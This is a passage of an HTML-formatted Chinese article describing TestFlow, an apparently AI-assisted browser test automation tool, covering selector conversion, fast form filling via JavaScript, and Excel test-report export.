0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">URL 导航</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">scroll</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">滚动页面</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">懒加载内容</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">hover</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">鼠标悬停</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">展开下拉菜单</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><code><span leaf=""><span textstyle="" style="font-size: 15px;">wait</span></span></code></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">等待</span></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">页面加载</span></span></p></td></tr></tbody></table></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">8.1 智能元素定位</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一个有趣的技术细节：AI 有时会生成 jQuery 风格的 </span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">:contains(&#39;文字&#39;)</span></code><span leaf=""> 选择器，但原生 </span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">querySelector</span></code><span leaf=""> 不支持。TestFlow 实现了透明兼容：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当检测到 </span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">:contains</span></code><span leaf=""> 时，自动转换为 JavaScript 查询，遍历候选元素找到包含指定文字的那个。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">8.2 高速表单输入</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">传统的浏览器自动化通常逐字模拟键盘输入，速度很慢。TestFlow 使用 JavaScript 直接设置 value，再触发框架事件：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这确保了 React、Vue 等框架都能正确响应值变化，同时速度提升数十倍。</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">九、测试用例自动生成</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">测试完成后，一键导出专业的 Excel 测试报告：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">测试汇总页</span></strong><span leaf="">：总用例数、通过/失败/阻塞统计、各模块汇总表</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">按模块分Sheet</span></strong><span leaf="">：每个功能模块独立一个工作表</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">完整字段</span></strong><span leaf="">：编号、模块、名称、前置条件、步骤、预期/实际结果、状态、优先级、测试方法</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">状态着色</span></strong><span leaf="">：通过为绿色、失败为红色，一目了然：</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0169491525423728" data-type="png" data-w="590" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038322" src="https://wechat2rss.xlab.app/img-proxy/?k=aa3d1d11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU8U8cNvqsBFU7kvWkHHRibnlsq17jgXKtwEuoG8AvokGgV6BOMr2yBAc40365nMfEAUfMRdwZVpOcPeBbTFtxbY9staAspxIhU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最终测试用例示例</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" alt="image-20260413131810497" class="rich_pages wxw-img" data-ratio="0.5537037037037037" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038325" src="https://wechat2rss.xlab.app/img-proxy/?k=52adbed4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWLTwaL3qIPdiaic7cX0icRI7dNuWn46W8yBWlv4YjmiaZGgicH7ffQx611pLMzMNX8PxOlQwLCViawoIvUk9ibXywyksfqibmLRTtLkIE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">十、使用指南</span></span></h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: 